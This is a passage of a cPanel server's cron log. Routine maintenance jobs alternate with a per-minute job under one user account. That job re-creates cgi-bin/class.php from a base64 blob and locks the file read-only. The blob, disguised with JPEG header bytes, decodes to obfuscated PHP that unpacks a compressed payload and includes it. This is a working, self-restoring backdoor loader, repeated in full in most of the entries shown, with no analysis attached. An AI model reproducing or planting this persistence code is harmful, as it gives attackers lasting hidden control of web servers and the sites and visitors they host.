QBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:24:01 server CROND[2295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:25:01 server CROND[2352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 15:25:01 server CROND[2353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:25:01 server CROND[2355]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 15:26:01 server CROND[2465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:27:01 server CROND[2516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:27:01 server CROND[2517]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 15:28:01 server CROND[2640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:29:01 server CROND[2726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:30:01 server CROND[2792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 15:30:01 server CROND[2793]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 15:30:01 server CROND[2794]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 15:30:01 server CROND[2795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:31:01 server CROND[2905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:32:01 server CROND[2961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:33:01 server CROND[3023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:34:01 server CROND[3168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:35:01 server CROND[3239]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 15:35:01 server CROND[3242]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 15:35:01 server CROND[3243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 15:35:01 server CROND[3244]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 15:35:01 server CROND[3245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:36:01 server CROND[3366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:37:01 server CROND[3420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXy